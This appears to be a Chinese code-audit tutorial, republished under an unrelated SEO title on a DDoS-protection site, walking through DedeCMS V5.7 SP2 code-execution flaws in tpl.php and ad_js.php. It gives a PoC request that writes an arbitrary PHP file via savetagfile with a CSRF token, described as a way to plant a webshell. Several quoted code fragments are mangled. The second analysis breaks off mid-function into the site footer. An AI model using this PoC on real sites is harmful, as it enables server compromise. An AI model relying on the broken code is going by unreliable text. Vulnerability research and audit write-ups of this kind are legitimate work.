cc攻击防御_石家庄棋牌高防

索引
Dedecms的洞有很多,而最新版的v5.7 sp2更新也止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后懵懵懂懂,一次偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正。
环境
php5.45 + mysql审计对象:DedeCMS V5.7 SP2工具:seay源码审计
后台代码执行
漏洞描述
DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell
代码审计
漏洞位置:dede/tpl.php
看一下核心代码:
# /dede/tpl.php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
$action = isset($action) ? trim($action) : '';
......
if(empty($filename)) $filename = '';
$filename = preg_replace("#[/\\]#", '', $filename);
......
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#.lib.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
......
}
因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content
action=savetag时,进行csrf()检测
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo 'DedeCMS:CSRF Token Check Failed!';
exit;
}
}
验证token和已知的session是否相等,那么token的值从何获取呢?
回溯tpl.php,追踪一下token:
else if ($action == 'upload')
{
....
'acdir' type='hidden' value='$acdir' />
'token' type='hidden' value='{$_SESSION['token']}' />
'upfile' type='file' />
}
当action=upload时,隐藏表单的value提交token值
token搞定了,再让我们继续往下审~
$truefile = DEDEINC.'/taglib/'.$filename;
传入的filename必须为 xxxx.lib.php,并且保存的也是php文件
fwrite($fp, $content);
fclose($fp);
写入内容为$content…那岂不是为所欲为..poc:
?action=savetagfile&filename=hpdoger.lib.php&content= phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa
在include/taglib下会产生相应xxx.lib.php
后台代码执行Getshell
代码审计
问题代码位于:/uploads/plus/ad_js.php
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `dede_myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime 'starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '"',$adbody);
$adbody = str_replace("r", "\r",$adbody);
$adbody = str_replace("n", "\n",$adbody);
版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: /web/39.html
- 上一篇:阿里高防ip国际_香港100g防御
- 下一篇:高抗ddos_高防招商